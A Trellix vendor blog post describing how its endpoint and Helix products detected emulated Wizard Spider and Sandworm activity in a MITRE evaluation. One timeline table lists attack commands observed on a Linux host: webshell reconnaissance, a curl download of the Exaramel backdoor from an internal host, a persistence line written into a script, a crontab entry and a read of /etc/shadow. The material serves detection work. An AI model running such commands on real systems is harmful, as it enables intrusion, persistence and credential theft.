Using MITRE to Advance Trellix Products

By Fred House, Ravindra Deotare · April 01, 2022

MITRE Evaluation

Unlike traditional third-party product evaluations, the MITRE evaluation is known for its non-comparative approach. Vendors are not scored or ranked by MITRE, leaving vendors to publish their own interpretations of the data, third party analysts to do the same, and customers decipher all of this into what they think will best suit their needs. This non-comparative approach is well intended, but the value to customers is not always easy to quantify.

The unquestionable value of MITRE is of being a forcing function, for security vendors to continuously improve their products in the context of a public red team exercise. In preparation for our third MITRE evaluation in 2020 we took this to heart and pivoted from focusing quantity of detections to using the evaluation to demonstrate practical, real-world advancements in our products. In 2020, this translated to increased investment in our Endpoint module architecture which we then used to demonstrate enhanced detection and visibility around script-based attacks, lateral movement, and Linux system activity.

For this year’s evaluation we took a similar approach and focused our engineering and detection efforts on several areas:

• Evolving our XDR capabilities through more advanced streaming of endpoint signals to Helix, our Security Operation Platform
• Correlating signals in Trellix Helix to deliver net-new detections with richer context
• Expanding Trellix Endpoint Security protection capabilities on Windows via our AMSI module
• Expanding Trellix Endpoint Security visibility into lateral movement through Linux support in our Logon Tracker module (with macOS support imminent at the time of writing this blog!)

In the subsequent sections of this blog, we will describe how we delivered on these goals, where we can still improve, and how all of this translates into value for Trellix Endpoint Security and Trellix Helix customers.

Evaluation Overview

In this year’s evaluation, the MITRE team focused on two threat actors, Wizard Spider and Sandworm. Wizard Spider is a financially motivated criminal group that has been conducting ransomware campaigns since August 2018 against a variety of organizations, ranging from major corporations to hospitals. Sandworm is a destructive Russian threat group that is known for carrying out notable attacks such as the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's NotPetya attacks.

The MITRE Evaluation team chose to emulate these two threat groups for their use of the Data Encrypted For Impact (T1486) technique. In Wizard Spider’s case, they have leveraged data encryption for ransomware, including the widely known Ryuk malware (S0446). Sandworm, on the other hand, leveraged encryption for the destruction of data, perhaps most notably with their NotPetya malware (S0368) that disguised itself as ransomware. While the common thread to this year’s evaluations is “Data Encrypted for Impact,” both groups have substantial reporting on a broad range of post-exploitation tradecraft.

eXtending Detection: streaming Endpoint signals to Helix

Our biggest focus leading up to the 2021 evaluation was towards delivering practical streaming of endpoint telemetry to Helix to deliver the “eXtended Detection” in XDR.

To understand how we approached this problem it’s useful to visualize how we define alerts vs. signals. To do so we’ll use Step 15 of this year’s evaluation which consisted of lateral movement, persistence, and execution (among other tactics). The diagram below provides a brief overview of each sub-step and for each sub-step, the alerts, and signals that we collected during the evaluation. Note that this activity occurred on a single host.

Now, imagine for a moment that the MITRE team hadn’t used RemCom (a well-known Remote Administration Tool) in sub-step 15.A.4, but instead used a custom RAT that evaded AV detection. Could a user be expected to determine that something malicious happened on the host based on the signals alone? In our opinion the answer is a resounding yes, in the sense that any security analyst presented with the sequence of signals above should immediately conclude something was amiss and launch an investigation!

To improve our signal collection the first step was to build the IOC Streaming Module, which can be used to stream Endpoint Security real-time events to Helix. Now, considering that Endpoint Security monitors every process creation, file write, registry update, and network connection on a host (among other events), it’s not feasible to stream every event to the cloud. This is where Endpoint Security Supplementary IOCs come into play, which enabled us to define “weak” (but interesting) signals that IOC Streamer uses to identify which events to stream to Helix. When a matching event is found, IOC Streamer includes the IOC name, description, and associated MITRE techniques. Just a few examples of the 600+ “weak signal” IOCs we defined include files being transferred over SMB, Windows services being created or started, registry modifications related to persistence, and file writes to an unusual location.

The next step was to combine the signals streamed by IOC Streamer into net-new alerts or additional telemetry to present in the context of a higher-efficacy alert. To do so we leveraged our Helix Analytics engine and a newly developed event correlation analytic. We focused our efforts on detection of the Ingress Tool Transfer (T1105) technique as it can be challenging to detect without network packet inspection. For example, detecting a process writing a file is easy but determining that the process transferred that file from outside the organization is not. Using our approach of combining processes making external network connections followed by file writes netted multiple detections. In fact, the single most tested technique by MITRE was Ingress Tool Transfer, accounting for nearly 15% of all the tests conducted. Using IOC Streamer and Helix analytic correlation we detected 100% of these tests (15 technique detections and 1 general detection).

Correlating alerts in Helix

Another advancement in our product line leading up to this year’s evaluation was the development of Helix Threats. Helix Threats is a new feature in Helix that correlates alerts and presents them in the form of contextualized threats. While Helix Threats is a beta feature that didn’t stop us from using it in last year’s evaluation. The screen shot below shows activity on a Linux system that includes lateral movement to the Linux system, deployment of a web shell, system discovery via the webshell, deployment of a second implant, credential harvesting, and persistence (Steps 11-14 in the evaluation).

By clicking on the “apache” user in the graph, as shown above, we can investigate the alerts within the threat related to the web server. For readability, the alerts above are also highlighted in blue in the table below to show the different signals captured via IOC Streamer for activity originating from the web server. The remaining signals seen before and after the webshell activity (which are also included in the correlated threat above), capture the deployment of the webshell and the subsequent installation of a secondary backdoor (centreon_module_linux_app64).

Time	IOC Streamer Signal	Parent Process	Command
13:55:01	remote file copy tools (methodology)	/usr/sbin/sshd	scp -t /tmp/search.php
13:55:17	remote services ssh success (dungeon --> fherbert@caladan)	/usr/sbin/sshd
13:58:03	webshell activity (methodology)	/usr/sbin/httpd	sh -c whoami
13:58:18	webshell activity (methodology)	/usr/sbin/httpd	sh -c uname -a
13:58:28	webshell activity (methodology)	/usr/sbin/httpd	sh -c ls -lsahr /
13:58:36	webshell activity (methodology)	/usr/sbin/httpd	sh -c cat /etc/passwd
13:58:36	suspicious access of sensitive files (methodology)	/usr/sbin/httpd	cat /etc/passwd
14:00:36	file downloads via curl linux (methodology)	/usr/sbin/httpd	sh -c curl --insecure https://192.168.0.4/getFile/Exaramel-Linux -o centreon_module_linux_app64
14:00:36	curl insecure execution linux (methodology)	/usr/sbin/httpd	sh -c curl --insecure https://192.168.0.4/getFile/Exaramel-Linux -o centreon_module_linux_app64
14:00:36	webshell activity (methodology)	/usr/sbin/httpd	sh -c curl --insecure https://192.168.0.4/getfile/exaramel-linux -o centreon_module_linux_app64
14:00:45	webshell activity (methodology)	/usr/sbin/httpd	sh -c ls -lsah
14:01:00	file mode changed to executable linux (methodology)	/usr/sbin/httpd	sh -c chmod 755 centreon_module_linux_app64
14:01:00	webshell activity (methodology)	/usr/sbin/httpd	sh -c chmod 755 centreon_module_linux_app64
14:01:00	chmod (utility)	/usr/sbin/httpd	chmod 755 centreon_module_linux_app64
14:01:16	webshell activity (methodology)	/usr/sbin/httpd	sh -c echo '/var/www/html/centreon_module_linux_app64 &' >> /var/www/html/include/tools/check.sh
14:01:29	webshell activity (methodology)	/usr/sbin/httpd	sh -c /bin/backup
14:01:29	enumeration of system information linux (methodology)	/bin/sh	ps auxf
14:01:29	malicious process started	/bin/sh	/var/www/html/centreon _module_linux_app64
14:04:43	crontab (utility)	/var/www/html/centreon _module_linux_app64	crontab -
14:05:13	credential dumping linux (methodology)	/var/www/html/centreon _module_linux_app64	cat /etc/shadow
15:01:02	system information discovery (methodology)	/var/www/html/centreon _module_linux_app64	uname -a

Lastly, a similar timeline view can be seen in the Helix Threat correlated view by clicking on “Related Alerts” tab. Even to the casual SOC analyst it should be pretty clear that something suspicious is happening on the system!

Additional Improvements

In addition to the improvements focused on streaming signals to Helix and correlating them, we also made advancements to several Endpoint Security modules and the level of context we provide in Helix for Endpoint Security alerts.

Blocking script-based threats

We introduced our AMSI module in the 2020 evaluation to improve our detection of script-based threats. For this year’s evaluation we took things a step further and enhanced the module to provide protection of script-based threats. Coupled with Endpoint Security Malware Protection (Anti-Virus and Malware Guard), these capabilities provide strong protection against executable and script attacks (it should be noted that our AMSI module also provides visibility into file-less attacks such as dynamically loaded .NET modules... Cobalt Strike anyone?).

An example of our AMSI protection module in action came during the “Trickbot Registry Persistence” step of the prevention evaluation (7.A.4). In this step “powershell.exe” adds the “Userinit” registry key using the PowerShell cmdlet Set-ItemProperty. AMSI detects the unwanted creation of this registry key and blocks the activity.

Improved MITRE context in Helix

The screenshot below shows the presentation in Helix of the AMSI block discussed previously. Note the references to the Winlogon Helper DLL (T1547.004) technique, the action of “blocked” (leading to a medium severity alert instead of a high severity alert), and the snippet of the PowerShell script pertaining to the detection (displayed on mouse-over of the “matched strings” field).

In addition, mousing-over the Winlogon Helper DLL (T1547.004) technique provides a pop-up with the MITRE ATT&CK technique description, enabling the analyst to get the full ATT&CK technique context without leaving the Helix console.

When talking about detection quality and specificness, MITRE Engenuity defines 3 simple categories:

Lateral movement on Linux

Logon Tracker is an Endpoint Security module that we first introduced in the 2019 evaluation to provide visibility into lateral movement. In 2020 we introduced a powerful alerting feature that elevated the module from one geared towards supporting investigations, to a module capable of detecting a wide range of anomalous lateral movement scenarios in an enterprise. In 2021 we continued our investment into lateral movement detection and added support for Linux through monitoring of inbound SSH activity (with macOS right around the corner).

This year’s MITRE evaluation consisted of 11 steps related to moving laterally within an organization including WinRM to run WMI queries on remote systems, mapping file shares to transfer files, logging into systems via SCP (Linux) and RDP (Windows), and the use of domain and local accounts to log into systems. Endpoint Security offered 100% coverage of these steps, with 10 of these coming via Logon Tracker (SCP, RDP, SMB) and one coming via IOC Streaming (WMI remote commands).

The screenshot below from the Logon Tracker UI shows the attacker moving from the attacker system (dungeon) using the valid account “fherbert”. The arrow pointing to the Linux system (caladan) indicates an SSH connection while the arrow pointing to the Windows systems (gammu) indicates an RDP connection. Lastly, the attacker also authenticated with the Domain Controller (arrakis) using the account “patreides”, designated by a NET connection below.

Summary

This year’s evaluation of Wizard Spider and Sandworm provided Trellix our latest opportunity to demonstrate to our customers how MITRE evaluations are used to advance our products. We demonstrated this with a focus on streaming Endpoint Security signals to Helix, correlating alerts into threats in Helix, improving our protection on Endpoint, and improving our detection of lateral movement across Windows and Linux endpoints.